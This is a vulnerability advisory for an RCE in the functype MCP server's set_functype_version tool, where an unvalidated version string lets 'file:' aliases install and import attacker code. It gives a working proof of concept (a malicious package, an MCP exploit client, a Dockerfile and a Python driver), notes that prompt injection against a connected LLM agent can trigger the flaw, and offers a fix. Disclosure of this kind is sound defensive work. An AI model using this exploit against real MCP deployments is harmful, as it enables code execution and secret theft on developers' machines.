CVE-2026-59176 — CVSS 7.8 HIGH

## MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import ### Summary The `set_functype_version` MCP tool in `functype-mcp-server` accepts an unconstrained `version` string, interpolates it directly into an npm package specifier (`functype@<version>`), and installs it via `pnpm add` without any validation. Because npm/pnpm package specifiers support `file:`, `npm:`, and other alias syntaxes, an attacker who can send an MCP `tools/call` request to this tool can cause the server to install an arbitrary local or remote package as `functype`. Immediately after installation, the server calls `initDocsData(true)`, which dynamically imports `functype/cli` from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High). ### Details The vulnerable code is in `packages/mcp-server/src/index.ts`. The `set_functype_version` tool is registered at line 115 and is enabled by default (no authentication required in stdio mode). **Source (user input accepted without validation):** ```ts // packages/mcp-server/src/index.ts:119-121 parameters: z.object({ version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'), }), ``` Only `z.string()` validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of `file:`, `npm:`, URL, or path alias syntaxes. **Sink 1 — arbitrary package installation:** ```ts // packages/mcp-server/src/index.ts:122-125 execute: async (args) => { const spec = `functype@${args.version}` try { execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) ``` `args.version` is interpolated into the package specifier string and passed directly to `pnpm add`. Supplying `file:/path/to/evil` causes pnpm to install an attacker-controlled directory as the `functype` package alias. **Sink 2 — dynamic import executes installed package code:** ```ts // packages/mcp-server/src/lib/docs/data.ts:23-30 if (force) { const resolvedPath = require.resolve("functype/cli") cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`) } ``` `initDocsData(true)` is called immediately after installation (line 134 in `index.ts`). It resolves `functype/cli` from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's `cli.js` at import time. **Data flow summary:** 1. `index.ts:115` — MCP tool `set_functype_version` registered, no auth required. 2. `index.ts:119-121` — `version` accepted as raw `z.string()` (source). 3. `index.ts:123` — `functype@${args.version}` constructed without sanitization. 4. `index.ts:125` — `execFileSync("pnpm", ["add", spec], ...)` installs attacker-controlled package (sink: arbitrary install). 5. `index.ts:134` — `initDocsData(true)` called immediately. 6. `data.ts:29-30` — `require.resolve("functype/cli")` + dynamic `import()` executes attacker module (sink: RCE). ### PoC **Step 1 — Prepare the attacker-controlled evil package:** ```bash mkdir -p /tmp/evil cat > /tmp/evil/package.json <<'EOF' {"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}} EOF cat > /tmp/evil/cli.js <<'EOF' import { writeFileSync } from "node:fs"; writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n"); export const TYPES = {}; export const INTERFACES = {}; export const CATEGORIES = {}; export const FULL_INTERFACES = {}; export const VERSION = "1.0.0"; EOF ``` **Step 2 — Clone and build the victim monorepo at the affected version:** ```bash TMP="$(mktemp -d)" git clone https://github.com/jordanburke/functype.git "$TMP/functype" cd "$TMP/functype" git checkout v1.4.3 corepack enable pnpm install --frozen-lockfile pnpm -F functype build pnpm -F functype-mcp-server build ``` **Step 3 — Set up an MCP client to deliver the exploit:** ```bash cd "$TMP" npm init -y npm pkg set type=module npm install @modelcontextprotocol/sdk cat > exploit.mjs <<'EOF' import { Client } from "@modelcontextprotocol/sdk/client/index.js"; import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; const client = new Client({ name: "poc", version: "1.0.0" }); const transport = new StdioClientTransport({ command: "node", args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`], env: { ...process.env, TRANSPORT_TYPE: "stdio" }, }); await client.connect(transport); const result = await client.callTool({ name: "set_functype_version", arguments: { version: "file:/tmp/evil" }, }); console.log(result); await client.close(); EOF REPO="$TMP/functype" node exploit.mjs ``` **Step 4 — Verify arbitrary code execution:** ```bash cat /pwned.txt # Expected output: RCE: mcp import-time code execution via set_functype_version ``` **Dynamic reproduction (Docker):** The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of `/pwned.txt` with the expected payload string, proving end-to-end RCE. ``` [poc] EXPLOIT SUCCEEDED: /pwned.txt exists [poc] File contents: RCE: mcp import-time code execution via set_functype_version [evil-payload] Arbitrary code executed via functype/cli dynamic import ``` **Recommended remediation:** ```diff +const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/ + +const isSafeFunctypeVersion = (version: string): boolean => { + const trimmed = version.trim() + return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed) +} execute: async (args) => { - const spec = `functype@${args.version}` + if (!isSafeFunctypeVersion(args.version)) { + return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag." + } + const spec = `functype@${args.version}` try { - execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) + execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 }) ``` ### Impact This is a **Remote Code Execution (RCE)** vulnerability. Any MCP client that can invoke the `set_functype_version` tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process. **Who is impacted:** - Developers and teams running `functype-mcp-server` (version 1.4.3) in their local or CI environments as an AI coding assistant integration. - Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a `set_functype_version` call with a `file:` or `npm:` alias payload. - In non-default `TRANSPORT_TYPE=httpStream` deployments, network-accessible attackers can exploit this without local access. The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE # # Build context: reports/npmAI_684_jordanburke__functype/ # COPY repo/ -> /workspace/functype/ (victim monorepo) # COPY vuln-001/ -> supporting PoC files # # Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile . # Run: docker run --rm vuln001-functype-rce # # Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output. FROM node:24-slim # Install pnpm matching the repo's packageManager field (pnpm@11.7.0). RUN npm install -g pnpm@11.7.0 --quiet # ── Victim workspace ────────────────────────────────────────────────────────── WORKDIR /workspace/functype COPY repo/ ./ # Install all workspace deps. --no-frozen-lockfile avoids hash mismatches # caused by running on a different pnpm minor than the one that generated the # lockfile; the installed versions are still constrained by the lockfile # specifiers for the packages we care about. RUN pnpm install --no-frozen-lockfile # Build functype first (mcp-server externals functype at build time). RUN pnpm -F functype build # Build the MCP server binary (output: packages/mcp-server/dist/bin.js). RUN pnpm -F functype-mcp-server build # ── Attacker-controlled evil package ───────────────────────────────────────── # /evil/cli.js writes /pwned.txt when dynamically imported. COPY vuln-001/evil/ /evil/ # ── MCP exploit client ──────────────────────────────────────────────────────── WORKDIR /client RUN npm init -y --quiet && \ npm pkg set type=module && \ npm install @modelcontextprotocol/sdk@1.29.0 --quiet COPY vuln-001/client/exploit.mjs ./exploit.mjs # Default entrypoint: run the exploit and exit 0 on success. CMD ["node", "/client/exploit.mjs"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC driver for VULN-001: MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High). Attack chain: 1. Attacker calls MCP tool set_functype_version with version="file:/evil" 2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...) 3. Evil package is installed as the functype alias in mcp-server's node_modules 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it 5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution) Usage: python3 poc.py [--build-only] Requirements: - Docker daemon running - Build context at parent directory of this file's directory """ import subprocess import sys import json import os import argparse VULN_DIR = os.path.dirname(os.path.abspath(__file__)) REPORT_DIR = os.path.dirname(VULN_DIR) IMAGE_NAME = "vuln001-functype-rce" DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile") RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json") BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR] RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME] def run(cmd, timeout=None, **kwargs): """Run a command and return CompletedProcess with combined output.""" return subprocess.run( cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True, timeout=timeout, **kwargs, ) def write_result(passed, verdict, reason, evidence): result = { "passed": passed, "verdict": verdict, "reason": reason, "build_command": " ".join(BUILD_CMD), "run_command": " ".join(RUN_CMD), "poc_command": f"python3 {os.path.basename(__file__)}", "evidence": evidence, "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"], } with open(RESULT_FILE, "w", encoding="utf-8") as f: json.dump(result, f, indent=2, ensure_ascii=False) print(f"[poc] Result written to {RESULT_FILE}") print(f"[poc] verdict={verdict} passed={passed}") def main(): parser = argparse.ArgumentParser(description="VULN-001 PoC driver") parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run") args = parser.parse_args() # ── Build ───────────────────────────────────────────────────────────────── print("[poc] Building Docker image (this may take a few minutes)...") print(f"[poc] Build command: {' '.join(BUILD_CMD)}") try: build = run(BUILD_CMD, timeout=900) except subprocess.TimeoutExpired: msg = "Docker build timed out after 900 seconds" print(f"[poc] ERROR: {msg}") write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg) sys.exit(2) if build.returncode != 0: tail = (build.stdout + "\n" + build.stderr)[-3000:] print("[poc] Build FAILED:") print(tail) write_result( False, "FAIL", "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.", f"BUILD EXIT {build.returncode}\n{tail}", ) sys.exit(1) print("[poc] Build succeeded.") if args.build_only: print("[poc] --build-only flag set; skipping run.") sys.exit(0) # ── Run ─────────────────────────────────────────────────────────────────── print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}") try: run_result = run(RUN_CMD, timeout=180) except subprocess.TimeoutExpired: msg = "Container run timed out after 180 seconds" print(f"[poc] ERROR: {msg}") write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg) sys.exit(2) stdout = run_result.stdout or "" stderr = run_result.stderr or "" combined = stdout + "\n" + stderr print("=" * 60) print("STDOUT:") print(stdout) print("STDERR:") print(stderr) print(f"EXIT CODE: {run_result.returncode}") print("=" * 60) # Success criteria: exit 0 AND exploit succeeded message present exploit_succeeded = "EXPLOIT SUCCEEDED" in combined passed = run_result.returncode == 0 and exploit_succeeded if passed: # Extract key evidence lines evidence_lines = [ line for line in combined.splitlines() if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:")) ] evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:] write_result( True, "PASS", ( "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 " 'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 ' "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함." ), evidence, ) print("[poc] === PASS: exploit reproduced ===") sys.exit(0) else: # Distinguish failure modes if not exploit_succeeded and run_result.returncode == 0: verdict = "INCOMPLETE" reason = ( "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. " "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 " "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음." ) else: verdict = "FAIL" reason = ( f"컨테이너 종료 코드 {run_result.returncode}. " "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요." ) write_result(False, verdict, reason, combined[-2000:]) print(f"[poc] === {verdict}: exploit did not reproduce ===") sys.exit(1) if __name__ == "__main__": main() ```

Loading application…